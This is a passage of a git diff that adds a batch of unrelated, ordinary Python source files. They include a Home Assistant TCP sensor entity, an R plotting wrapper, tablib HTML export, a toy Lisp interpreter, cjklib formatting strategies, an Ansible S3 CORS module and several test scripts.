voluptuous as vol + +from homeassistant.const import ( + CONF_HOST, + CONF_NAME, + CONF_PAYLOAD, + CONF_PORT, + CONF_SSL, + CONF_TIMEOUT, + CONF_UNIT_OF_MEASUREMENT, + CONF_VALUE_TEMPLATE, + CONF_VERIFY_SSL, +) +from homeassistant.core import HomeAssistant +from homeassistant.exceptions import TemplateError +import homeassistant.helpers.config_validation as cv +from homeassistant.helpers.entity import Entity +from homeassistant.helpers.template import Template +from homeassistant.helpers.typing import ConfigType + +from .const import ( + CONF_BUFFER_SIZE, + CONF_VALUE_ON, + DEFAULT_BUFFER_SIZE, + DEFAULT_NAME, + DEFAULT_SSL, + DEFAULT_TIMEOUT, + DEFAULT_VERIFY_SSL, +) +from .model import TcpSensorConfig + +_LOGGER: Final = logging.getLogger(__name__) + + +TCP_PLATFORM_SCHEMA: Final[dict[vol.Marker, Any]] = { + vol.Required(CONF_HOST): cv.string, + vol.Required(CONF_PORT): cv.port, + vol.Required(CONF_PAYLOAD): cv.string, + vol.Optional(CONF_BUFFER_SIZE, default=DEFAULT_BUFFER_SIZE): cv.positive_int, + vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, + vol.Optional(CONF_TIMEOUT, default=DEFAULT_TIMEOUT): cv.positive_int, + vol.Optional(CONF_UNIT_OF_MEASUREMENT): cv.string, + vol.Optional(CONF_VALUE_ON): cv.string, + vol.Optional(CONF_VALUE_TEMPLATE): cv.template, + vol.Optional(CONF_SSL, default=DEFAULT_SSL): cv.boolean, + vol.Optional(CONF_VERIFY_SSL, default=DEFAULT_VERIFY_SSL): cv.boolean, +} + + +class TcpEntity(Entity): + """Base entity class for TCP platform.""" + + def __init__(self, hass: HomeAssistant, config: ConfigType) -> None: + """Set all the config values if they exist and get initial state.""" + + value_template: Template | None = config.get(CONF_VALUE_TEMPLATE) + if value_template is not None: + value_template.hass = hass + + self._hass = hass + self._config: TcpSensorConfig = { + CONF_NAME: config[CONF_NAME], + CONF_HOST: config[CONF_HOST], + CONF_PORT: config[CONF_PORT], + CONF_TIMEOUT: config[CONF_TIMEOUT], + CONF_PAYLOAD: config[CONF_PAYLOAD], + CONF_UNIT_OF_MEASUREMENT: config.get(CONF_UNIT_OF_MEASUREMENT), + CONF_VALUE_TEMPLATE: value_template, + CONF_VALUE_ON: config.get(CONF_VALUE_ON), + CONF_BUFFER_SIZE: config[CONF_BUFFER_SIZE], + CONF_SSL: config[CONF_SSL], + CONF_VERIFY_SSL: config[CONF_VERIFY_SSL], + } + + self._ssl_context: ssl.SSLContext | None = None + if self._config[CONF_SSL]: + self._ssl_context = ssl.create_default_context() + if not self._config[CONF_VERIFY_SSL]: + self._ssl_context.check_hostname = False + self._ssl_context.verify_mode = ssl.CERT_NONE + + self._state: str | None = None + self.update() + + @property + def name(self) -> str: + """Return the name of this sensor.""" + return self._config[CONF_NAME] + + def update(self) -> None: + """Get the latest value for this sensor.""" + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock: + sock.settimeout(self._config[CONF_TIMEOUT]) + try: + sock.connect((self._config[CONF_HOST], self._config[CONF_PORT])) + except OSError as err: + _LOGGER.error( + "Unable to connect to %s on port %s: %s", + self._config[CONF_HOST], + self._config[CONF_PORT], + err, + ) + return + + if self._ssl_context is not None: + sock = self._ssl_context.wrap_socket( + sock, server_hostname=self._config[CONF_HOST] + ) + + try: + sock.send(self._config[CONF_PAYLOAD].encode()) + except OSError as err: + _LOGGER.error( + "Unable to send payload %r to %s on port %s: %s", + self._config[CONF_PAYLOAD], + self._config[CONF_HOST], + self._config[CONF_PORT], + err, + ) + return + + readable, _, _ = select.select([sock], [], [], self._config[CONF_TIMEOUT]) + if not readable: + _LOGGER.warning( + "Timeout (%s second(s)) waiting for a response after " + "sending %r to %s on port %s", + self._config[CONF_TIMEOUT], + self._config[CONF_PAYLOAD], + self._config[CONF_HOST], + self._config[CONF_PORT], + ) + return + + value = sock.recv(self._config[CONF_BUFFER_SIZE]).decode() + + value_template = self._config[CONF_VALUE_TEMPLATE] + if value_template is not None: + try: + self._state = value_template.render(parse_result=False, value=value) + return + except TemplateError: + _LOGGER.error( + "Unable to render template of %r with value: %r", + self._config[CONF_VALUE_TEMPLATE], + value, + ) + return + + self._state = value diff --git a/pool/shard008/Python/0078755_plot.py b/pool/shard008/Python/0078755_plot.py new file mode 100644 index 0000000000000000000000000000000000000000..5ede0144e16d6f59b6249edbc1bfd70d2769bb2e --- /dev/null +++ b/pool/shard008/Python/0078755_plot.py @@ -0,0 +1,71 @@ +from rpy2.robjects import r as R + +# load R source file +source = R('source') +source('rplot/eplot.r') + +eplot1d = R('eplot1d') +eplot2d = R('eplot2d') + + +import sys, re +from tempfile import mkstemp + + +def plotSim(path, logy=False, fmat='eps'): + raw = file(path).read() + lines = filter(lambda x: not x.startswith('#'), raw.split('\n')) + + def grab(line): + match = re.search('# %s: (.*)' % line, raw) + if match: + return match.group(1) + + plot_type = grab(r'type') + + title = grab(r'title') + comp = grab(r'component') + + vals = grab(r'values').split() + vals = 'I=%s, Err=%s, N=%s' % tuple(vals) + + stats = grab(r'statistics') + + xlab = grab(r'xlabel') + ylab = grab(r'ylabel') + + _, tmpf = mkstemp() + file(tmpf, 'w').write('\n'.join(lines) + '\n') + + # 2d image plot + if plot_type.startswith('array_2d('): + # extract extra information for 2d plot + zlab = grab(r'zlabel') + xylim = R('c(%s)' % ','.join(grab(r'xylimits').split())) + + # cut away extra rows + rows, cols = map(int, plot_type[len('array_2d('):-1].split(',')) + lines = lines[:rows] + + # set 2d plotter + eplot2d('%s (%s)' % (title, comp), '[%s] [%s]' % (vals, stats), + xlab, ylab, zlab, tmpf, + '%s.%s' % (path, fmat), logy, fmat, xylim, rows, cols) + + # 1d regular plot + elif plot_type.startswith('array_1d'): + file('lines.dat','w').write('\n'.join(lines)+'\n') + # set 1d plotter + eplot1d(title='%s (%s)' % (title, comp), subt='[%s] [%s]' % (vals, stats), + xlab=xlab, ylab=ylab, + input=tmpf, output='%s.%s' % (path, fmat), + logy=logy, format=fmat) + +if __name__ == '__main__': + files = sys.argv[1:] + fmat = 'eps' + if files[0] == '--png': + fmat = 'png' + files = files[1:] + + map(lambda f: plotSim(f, False, fmat), files) diff --git a/pool/shard008/Python/0078756_html.py b/pool/shard008/Python/0078756_html.py new file mode 100644 index 0000000000000000000000000000000000000000..c516e3134b7aa38fd230ff845400b340fcc63b29 --- /dev/null +++ b/pool/shard008/Python/0078756_html.py @@ -0,0 +1,67 @@ +# -*- coding: utf-8 -*- + +""" Tablib - HTML export support. +""" + +import sys + + +if sys.version_info[0] > 2: + from io import StringIO + from tablib.packages import markup3 as markup +else: + from cStringIO import StringIO + from tablib.packages import markup + +import tablib +import codecs + +BOOK_ENDINGS = 'h3' + +title = 'html' +extensions = ('html', ) + + +def export_set(dataset): + """HTML representation of a Dataset.""" + + stream = StringIO() + + page = markup.page() + page.table.open() + + if dataset.headers is not None: + new_header = [item if item is not None else '' for item in dataset.headers] + + page.thead.open() + headers = markup.oneliner.th(new_header) + page.tr(headers) + page.thead.close() + + for row in dataset: + new_row = [item if item is not None else '' for item in row] + + html_row = markup.oneliner.td(new_row) + page.tr(html_row) + + page.table.close() + + # Allow unicode characters in output + wrapper = codecs.getwriter("utf8")(stream) + wrapper.writelines(unicode(page)) + + return stream.getvalue() + + +def export_book(databook): + """HTML representation of a Databook.""" + + stream = StringIO() + + for i, dset in enumerate(databook._datasets): + title = (dset.title if dset.title else 'Set %s' % (i)) + stream.write('<%s>%s\n' % (BOOK_ENDINGS, title, BOOK_ENDINGS)) + stream.write(dset.html) + stream.write('\n') + + return stream.getvalue() diff --git a/pool/shard008/Python/0078757_run_instrument.py b/pool/shard008/Python/0078757_run_instrument.py new file mode 100644 index 0000000000000000000000000000000000000000..4e08b9091243dd4eecb4895d1a19055d52e33289 --- /dev/null +++ b/pool/shard008/Python/0078757_run_instrument.py @@ -0,0 +1,28 @@ +__author__ = 'David Everett' + +import argparse + +from mi.idk.run_instrument import RunInstrument + +def run(): + opts = parseArgs() + + app = RunInstrument( + # DHE: commenting out until port_agent supports this again. + #monitor = opts.monitor, + monitor = False, + subscriber = opts.subscriber + ) + app.run() + +def parseArgs(): + parser = argparse.ArgumentParser(description='Run instrument.') + # DHE: commenting out until port_agent supports this again. + #parser.add_argument('-m', '--monitor', help='Start a port monitor window (default is no monitor)', action='store_true') + parser.add_argument('-s', '--subscriber', help='Start a data subscriber window (default is no subscriber)', action='store_true') + + return parser.parse_args() + + +if __name__ == '__main__': + run() diff --git a/pool/shard008/Python/0078762_lisp.py b/pool/shard008/Python/0078762_lisp.py new file mode 100644 index 0000000000000000000000000000000000000000..69d05680711f4028041df44013a8549354f468af --- /dev/null +++ b/pool/shard008/Python/0078762_lisp.py @@ -0,0 +1,173 @@ + +from base import * +import error +from collections import namedtuple + + +# TODO first-class environments? + +class UnboundVariable(error.Runtime): + + def __init__(self, name): + error.Runtime.__init__(self, 'unbound variable "{0}"'.format(name)) + +class Environment(dict): + + def __init__(self, parent = None): + self.parent = parent + + def __getitem__(self, name): + + + try: + return dict.__getitem__(self, name) + except KeyError: + if not self.parent: raise UnboundVariable(name) + return self.parent[name] + + +class Lambda(namedtuple('Lambda', 'env args body')): + + def __str__(self): + return '#' % id(self) + + +def define(env, args): + try: + name = args[0] + if type(name) is not symbol: + raise error.Syntax('expected symbol for variable name') + + value = eval(env, args[1]) + env[name] = value + + except IndexError: + raise error.Syntax('bad define syntax') + + + +def sequence(env, args): + + res = None + for a in args: + res = eval(env, a) + + return res + + +def condition(env, args): + + for a in args: + if type(a) is not list or len(a) > 2: + raise error.Syntax('bad cond syntax') + + pred = a[0] + conseq = a[1] + + value = eval(env, pred) + + if value is not False: + return eval(env, conseq) + + return None + + +def function(env, args): + try: + names = args[0] + + if type(names) is not list or any( type(x) is not symbol for x in names): + raise error.Syntax('expected symbol list for argument names') + + body = args[1] + + return Lambda(env, names, body) + + except IndexError: + raise error.Syntax('bad lambda syntax') + + +def quote(env, args): + return args[0] + + + +special = { + 'def': define, + 'do': sequence, + 'lambda': function, + 'cond': condition, + 'quote': quote, +} + + + + +def apply(func, args): + t = type(func) + + if t is Lambda: + env = Environment(func.env) + env.update( (n, v) for n, v in zip(func.args, args) ) + + return eval(env, func.body) + + # builtin + return func( args ) + + + +def eval(env, e): + t = type(e) + + if t is list: + + try: + if type(e[0]) is not symbol: raise KeyError() + return special[e[0]](env, e[1:]) + except (KeyError, IndexError): + try: + func = eval(env, e[0]) + return apply(func, (eval(env, a) for a in e[1:])) + except IndexError: + raise RuntimeError('empty list in application') + + # symbols + if t is symbol: + return env[e] + + # literals + return e + + + + +def prelude(): + env = Environment() + + env['+'] = sum + env['='] = lambda args: (lambda first: all(first == a for a in args))(next(args)) + env['-'] = lambda args: next(args) - sum(args) + + env['print'] = lambda args: print(*args) + + return env + + +# a small lisp repl +def repl(source): + + env = prelude() + + import parse + for expr in parse.loop(source): + with error.reporting(): + value = eval(env, expr) + if value is not None: + print( '::', type(value).__name__, '=', value ) + + +if __name__ == '__main__': + import tool + + repl(tool.console()) diff --git a/pool/shard008/Python/0078764_summarize.py b/pool/shard008/Python/0078764_summarize.py new file mode 100644 index 0000000000000000000000000000000000000000..da904dec904cd212105e584cf6f91a4583681e43 --- /dev/null +++ b/pool/shard008/Python/0078764_summarize.py @@ -0,0 +1,26 @@ +import cloudpickle as pickle +import sys +import operator as op + +name = sys.argv[1] +budget = int(sys.argv[2]) + +solvers = ['optunity', 'tpe', 'random', 'smac', 'bayesopt'] + +with open('results/%s-all.pkl' % name, 'r') as f: + results = pickle.load(f) + +performance = {} +for solver in solvers: + if solver == 'optunity': + perf = max(results[solver]['results'][:budget]) + else: + perf = -min(results[solver]['results'][:budget]) + + performance[solver] = perf + +print("\n\nSUMMARY FOR %s\n" % name) +print("\n".join(map(str, sorted(performance.items(), + key=op.itemgetter(1), + reverse=True)))) + diff --git a/pool/shard008/Python/0078767_format.py b/pool/shard008/Python/0078767_format.py new file mode 100644 index 0000000000000000000000000000000000000000..024b9c2d1b359be323ccf0d474895c066e96f699 --- /dev/null +++ b/pool/shard008/Python/0078767_format.py @@ -0,0 +1,170 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- +# This file is part of cjklib. +# +# cjklib is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# cjklib is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with cjklib. If not, see . + +""" +Format strategies for dictionary entries. +""" + +__all__ = [ + # meta + "Base", "Chain", "SingleColumnAdapter", + # format strategies + "ReadingConversion", "NonReadingEntityWhitespace", + ] + +import string + +from cjklib.reading import ReadingFactory +from cjklib import exception + +#{ Formatting strategies + +class Base(object): + """Base formatting strategy, needs to be overridden.""" + def setDictionaryInstance(self, dictInstance): + self._dictInstance = dictInstance + + def format(self, string): + """ + Returns the formatted column. + + :type string: str + :param string: column as returned by the dictionary + :rtype: str + :return: formatted column + """ + raise NotImplementedError() + + +class Chain(Base): + """ + Executes a list of formatting strategies, with the first strategy being + applied first, then the second, and so forth. + """ + def __init__(self, *args): + Base.__init__(self) + self.args = args + + def format(self, *args): + for strategy in self.args: + string = strategy.format(*args) + return string + + +class SingleColumnAdapter(Base): + """ + Adapts a formatting strategy for a single column for multi-column input. + """ + def __init__(self, strategy, columnIndex): + Base.__init__(self) + self.strategy = strategy + self.columnIndex = columnIndex + + def format(self, columns): + columns = columns[:] + columns[self.columnIndex] = self.strategy.format( + columns[self.columnIndex]) + return columns + + def __getattr__(self, name): + return getattr(self.strategy, name) + + +class ReadingConversion(Base): + """Converts the entries' reading string to the given target reading.""" + def __init__(self, toReading=None, targetOptions=None): + """ + Constructs the conversion strategy. + + :type toReading: str + :param toReading: target reading, if omitted, the dictionary's reading + is assumed. + :type targetOptions: dict + :param targetOptions: target reading conversion options + """ + Base.__init__(self) + self.toReading = toReading + if targetOptions: + self.targetOptions = targetOptions + else: + self.targetOptions = {} + + def setDictionaryInstance(self, dictInstance): + super(ReadingConversion, self).setDictionaryInstance( + dictInstance) + + if (not hasattr(self._dictInstance, 'READING') + or not hasattr(self._dictInstance, 'READING_OPTIONS')): + raise ValueError('Incompatible dictionary') + + self.fromReading = self._dictInstance.READING + self.sourceOptions = self._dictInstance.READING_OPTIONS + + self._readingFactory = ReadingFactory( + dbConnectInst=self._dictInstance.db) + + toReading = self.toReading or self.fromReading + if not self._readingFactory.isReadingConversionSupported( + self.fromReading, toReading): + raise ValueError("Conversion from '%s' to '%s' not supported" + % (self.fromReading, toReading)) + + def format(self, string): + toReading = self.toReading or self.fromReading + try: + return self._readingFactory.convert(string, self.fromReading, + toReading, sourceOptions=self.sourceOptions, + targetOptions=self.targetOptions) + except (exception.DecompositionError, exception.CompositionError, + exception.ConversionError): + # wighack + return string + #return None + + +class NonReadingEntityWhitespace(Base): + """ + Removes spaces between non-reading entities, e.g. ``U S B diàn lǎn`` to + ``USB diàn lǎn`` for CEDICT style dictionaries. + """ + FULL_WIDTH_MAP = dict((halfWidth, unichr(ord(halfWidth) + 65248)) + for halfWidth in string.ascii_uppercase) + """Mapping of halfwidth characters to fullwidth.""" + + def format(self, columns): + headword, headwordSimplified, reading, translation = columns + + readingEntities = [] + precedingIsNonReading = False + for idx, entity in enumerate(reading.split(' ')): + if idx < len(headword) and (entity == headword[idx] + or self.FULL_WIDTH_MAP.get(entity, None) == headword[idx]): + # for entities showing up in both strings, omit spaces + # (e.g. "IC卡", "I C kǎ") + if not precedingIsNonReading and idx != 0: + readingEntities.append(' ') + + precedingIsNonReading = True + elif idx != 0: + readingEntities.append(' ') + precedingIsNonReading = False + + readingEntities.append(entity) + + reading = ''.join(readingEntities) + + return [headword, headwordSimplified, reading, translation] diff --git a/pool/shard008/Python/0078774_setup.py b/pool/shard008/Python/0078774_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..c267370ff82cc615e50c9283a0dcaf02cf68134a --- /dev/null +++ b/pool/shard008/Python/0078774_setup.py @@ -0,0 +1,37 @@ +from setuptools import setup, find_packages +import os +import re + + +def get_version(package): + """ + Return package version as listed in `__version__` in `__init__.py`. + """ + init_py = open(os.path.join(package, '__init__.py')).read() + return re.search("__version__ = ['\"]([^'\"]+)['\"]", init_py).group(1) + + +version = get_version('bf1') + +LONG_DESCRIPTION = open('README.rst').read() + + +setup( + name="battlefield1-sdk", + version=version, + author="Alessandro De Angelis", + author_email="alessandrodea22@gmail.com", + description="Battlefield 1 sdk", + long_description=LONG_DESCRIPTION, + license="MIT", + keywords="Battlefield 1 SDK", + packages=find_packages(exclude=['tests*']), + install_requires=['requests', 'pyOpenSSL'], + classifiers=[ + "Development Status :: 2 - Pre-Alpha", + "Intended Audience :: Developers", + "License :: OSI Approved :: MIT License", + "Programming Language :: Python :: 3.5", + "Topic :: Software Development :: Libraries :: Python Modules" + ], +) diff --git a/pool/shard008/Python/0078778_aws_s3_cors.py b/pool/shard008/Python/0078778_aws_s3_cors.py new file mode 100644 index 0000000000000000000000000000000000000000..e41748bf9dbad50e65b124ce365474a03bcdb5fa --- /dev/null +++ b/pool/shard008/Python/0078778_aws_s3_cors.py @@ -0,0 +1,194 @@ +#!/usr/bin/python +# Copyright (c) 2017 Ansible Project +# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) +# +ANSIBLE_METADATA = {'metadata_version': '1.1', + 'status': ['preview'], + 'supported_by': 'community'} + +DOCUMENTATION = ''' +--- +module: aws_s3_cors +short_description: Manage CORS for S3 buckets in AWS +description: + - Manage CORS for S3 buckets in AWS +version_added: "2.5" +author: "Oyvind Saltvik (@fivethreeo)" +options: + name: + description: + - Name of the s3 bucket + required: true + default: null + rules: + description: + - Cors rules to put on the s3 bucket + required: false + state: + description: + - Create or remove cors on the s3 bucket + required: false + default: present + choices: [ 'present', 'absent' ] +extends_documentation_fragment: + - aws + - ec2 +''' + +EXAMPLES = ''' +# Note: These examples do not set authentication details, see the AWS Guide for details. + +# Create a simple cors for s3 bucket +- aws_s3_cors: + name: mys3bucket + state: present + rules: + - allowed_origins: + - http://www.example.com/ + allowed_methods: + - GET + - POST + allowed_headers: + - Authorization + expose_headers: + - x-amz-server-side-encryption + - x-amz-request-id + max_age_seconds: 30000 + +# Remove cors for s3 bucket +- aws_s3_cors: + name: mys3bucket + state: absent +''' + +RETURN = ''' +changed: + description: check to see if a change was made to the rules + returned: always + type: boolean + sample: true +name: + description: name of bucket + returned: always + type: string + sample: 'bucket-name' +rules: + description: list of current rules + returned: always + type: list + sample: [ + { + "allowed_headers": [ + "Authorization" + ], + "allowed_methods": [ + "GET" + ], + "allowed_origins": [ + "*" + ], + "max_age_seconds": 30000 + } + ] +''' + +try: + from botocore.exceptions import ClientError, BotoCoreError +except: + # handled by HAS_BOTO3 check in main + pass + +import traceback + +from ansible.module_utils._text import to_native +from ansible.module_utils.basic import AnsibleModule +from ansible.module_utils.ec2 import (HAS_BOTO3, boto3_conn, ec2_argument_spec, get_aws_connection_info, + camel_dict_to_snake_dict, snake_dict_to_camel_dict, compare_policies) + + +def create_or_update_bucket_cors(connection, module): + + name = module.params.get("name") + rules = module.params.get("rules", []) + changed = False + + try: + current_camel_rules = connection.get_bucket_cors(Bucket=name)['CORSRules'] + except ClientError: + current_camel_rules = [] + + new_camel_rules = snake_dict_to_camel_dict(rules, capitalize_first=True) + # compare_policies() takes two dicts and makes them hashable for comparison + if compare_policies(new_camel_rules, current_camel_rules): + changed = True + + if changed: + try: + cors = connection.put_bucket_cors(Bucket=name, CORSConfiguration={'CORSRules': new_camel_rules}) + except ClientError as e: + module.fail_json( + msg="Unable to update CORS for bucket {0}: {1}".format(name, to_native(e)), + exception=traceback.format_exc(), + **camel_dict_to_snake_dict(e.response) + ) + except BotoCoreError as e: + module.fail_json( + msg=to_native(e), + exception=traceback.format_exc() + ) + + module.exit_json(changed=changed, name=name, rules=rules) + + +def destroy_bucket_cors(connection, module): + + name = module.params.get("name") + changed = False + + try: + cors = connection.delete_bucket_cors(Bucket=name) + changed = True + except ClientError as e: + module.fail_json( + msg="Unable to delete CORS for bucket {0}: {1}".format(name, to_native(e)), + exception=traceback.format_exc(), + **camel_dict_to_snake_dict(e.response) + ) + except BotoCoreError as e: + module.fail_json( + msg=to_native(e), + exception=traceback.format_exc() + ) + + module.exit_json(changed=changed) + + +def main(): + + argument_spec = ec2_argument_spec() + argument_spec.update( + dict( + name=dict(required=True, type='str'), + rules=dict(type='list'), + state=dict(type='str', choices=['present', 'absent'], required=True) + ) + ) + + module = AnsibleModule(argument_spec=argument_spec) + + if not HAS_BOTO3: + module.fail_json(msg='boto3 is required.') + + region, ec2_url, aws_connect_kwargs = get_aws_connection_info(module, boto3=True) + client = boto3_conn(module, conn_type='client', resource='s3', + region=region, endpoint=ec2_url, **aws_connect_kwargs) + + state = module.params.get("state") + + if state == 'present': + create_or_update_bucket_cors(client, module) + elif state == 'absent': + destroy_bucket_cors(client, module) + +if __name__ == '__main__': + main() diff --git a/pool/shard008/Python/0078788_test_fieldList.py b/pool/shard008/Python/0078788_test_fieldList.py new file mode 100644 index 0000000000000000000000000000000000000000..0081550e91460008fb6da8a5e1a64001fa2ed836 --- /dev/null +++ b/pool/shard008/Python/0078788_test_fieldList.py @@ -0,0 +1,120 @@ +#this test is used for checking field list parameter specified in the query. +#using: python ./test_fieldList_inQuery/test_fieldList.py $SRCH2_ENGINE ./test_fieldList_inQuery/queriesAndResults.txt +#We check it by specifying the field list in the query and comparing the returned response with the expected result. +# The expected result contain only those field which we mention in the query. + +import sys, urllib2, json, time, subprocess, os, commands, signal + +sys.path.insert(0, 'srch2lib') +import test_lib + +port = '8087' + +#Function of checking the results +def checkResult(query, responseJson,resultValue): +# for key, value in responseJson: +# print key, value + isPass=1 + if len(responseJson) == len(resultValue): + for i in range(0, len(resultValue)): + data = json.dumps(responseJson[i]['record']) + #print response_json['results'][i]['record']['id'] + resultValue[i] = resultValue[i].rstrip('\n') + if (data != resultValue[i]): + isPass=0 + print query+' test failed' + print 'query results||given results' + print 'number of results:'+str(len(responseJson))+'||'+str(len(resultValue)) + for i in range(0, len(responseJson)): + print str(responseJson[i]['record']) +'||'+str(resultValue[i]) + break + else: + isPass=0 + print query+' test failed' + print 'query results||given results' + print 'number of results:'+str(len(responseJson))+'||'+str(len(resultValue)) + maxLen = max(len(responseJson),len(resultValue)) + for i in range(0, maxLen): + if i >= len(resultValue): + print responseJson[i]['record']+'||' + elif i >= len(responseJson): + print ' '+'||'+resultValue[i] + else: + print responseJson[i]['record']+'||'+resultValue[i] + + if isPass == 1: + print query+' test pass' + return 0 + return 1 + + +#prepare the query based on the valid syntax +def prepareQuery(queryKeywords): + query = '' + ################# prepare main query part + query = query + 'q=' + # local parameters + query = query + '%7BdefaultPrefixComplete=COMPLETE%7D' + # keywords section + for i in range(0, len(queryKeywords)): + if i == (len(queryKeywords)-1): + query=query+queryKeywords[i]+'*' # last keyword prefix + else: + query=query+queryKeywords[i]+'%20AND%20' + + ################# fuzzy parameter + query = query + '&fuzzy=false&fl=name,category' + +# print 'Query : ' + query + ################################## + return query + +def testFieldList(queriesAndResultsPath, binary_path, configFile): + #Start the engine server + args = [ binary_path, '--config-file=' + configFile ] + + if test_lib.confirmPortAvailable(port) == False: + print 'Port ' + str(port) + ' already in use - aborting' + return -1 + + print 'starting engine: ' + args[0] + ' ' + args[1] + serverHandle = test_lib.startServer(args) + + test_lib.pingServer(port) + + #construct the query + failCount = 0 + f_in = open(queriesAndResultsPath, 'r') + for line in f_in: + #get the query keyword and results + print line + value=line.split('||') + queryValue=value[0] + resultValue=(value[1]) + #construct the query + query='http://localhost:' + port + '/search?' + query = query + prepareQuery([queryValue]) + #print query + #do the query + response = urllib2.urlopen(query).read() + response_json = json.loads(response) + + #check the result + failCount += checkResult(query, response_json['results'], [resultValue] ) + + test_lib.killServer(serverHandle) + print '==============================' + return failCount + +if __name__ == '__main__': + #Path of the query file + #each line like "trust||01c90b4effb2353742080000" ---- query||record_ids(results) + binary_path = sys.argv[1] + queriesAndResultsPath = sys.argv[2] + exitCode = testFieldList(queriesAndResultsPath, binary_path, "./test_fieldList_inQuery/conf.xml") + time.sleep(1) + exitCode = testFieldList(queriesAndResultsPath, binary_path, "./test_fieldList_inQuery/conf1.xml") + time.sleep(1) + exitCode = testFieldList(queriesAndResultsPath, binary_path, "./test_fieldList_inQuery/conf2.xml") + time.sleep(1) + os._exit(exitCode) diff --git a/pool/shard008/Python/0078789_test_content_type.py b/pool/shard008/Python/0078789_test_content_type.py new file mode 100644 index 0000000000000000000000000000000000000000..99650e7c9cf692725fcd2bfd939ce28650273e18 --- /dev/null +++ b/pool/shard008/Python/0078789_test_content_type.py @@ -0,0 +1,62 @@ +import uuid + +import pytest + +import elemental_backend as backend + + +_content_type_id = uuid.uuid4() +_base_id = uuid.uuid4() +_base_ids = [uuid.uuid4(), uuid.uuid4(), uuid.uuid4()] +_attribute_type_id = uuid.uuid4() +_attribute_type_ids = [uuid.uuid4(), uuid.uuid4(), uuid.uuid4()] + + +class _InstantiationParams(object): + id = [ + (None, None), + (_content_type_id, _content_type_id), + (str(_content_type_id), _content_type_id) + ] + + name = [ + (None, None), + ('foo', 'foo') + ] + + base_ids = [ + (None, []), + (_base_id, [_base_id]), + (str(_base_id), [_base_id]), + (_base_ids, _base_ids), + ([str(bid) for bid in _base_ids], _base_ids) + ] + + attribute_type_ids = [ + (None, []), + (_attribute_type_id, [_attribute_type_id]), + (str(_attribute_type_id), [_attribute_type_id]), + (_attribute_type_ids, _attribute_type_ids), + ([str(atid) for atid in _attribute_type_ids], _attribute_type_ids) + ] + + +@pytest.mark.parametrize('id', _InstantiationParams.id) +@pytest.mark.parametrize('name', _InstantiationParams.name) +@pytest.mark.parametrize('base_ids', _InstantiationParams.base_ids) +@pytest.mark.parametrize('attribute_type_ids', _InstantiationParams.attribute_type_ids) +def test_content_type_instantiation(id, name, base_ids, attribute_type_ids): + id_value, id_expected = id + name_value, name_expected = name + base_ids_value, base_ids_expected = base_ids + attribute_type_ids_value, attribute_type_ids_expected = attribute_type_ids + + ct = backend.resources.ContentType( + id=id_value, name=name_value, base_ids=base_ids_value, + attribute_type_ids=attribute_type_ids_value) + + assert isinstance(ct, backend.resources.ContentType) + assert ct.id == id_expected + assert ct.name == name_expected + assert ct.base_ids == base_ids_expected + assert ct.attribute_type_ids == attribute_type_ids_expected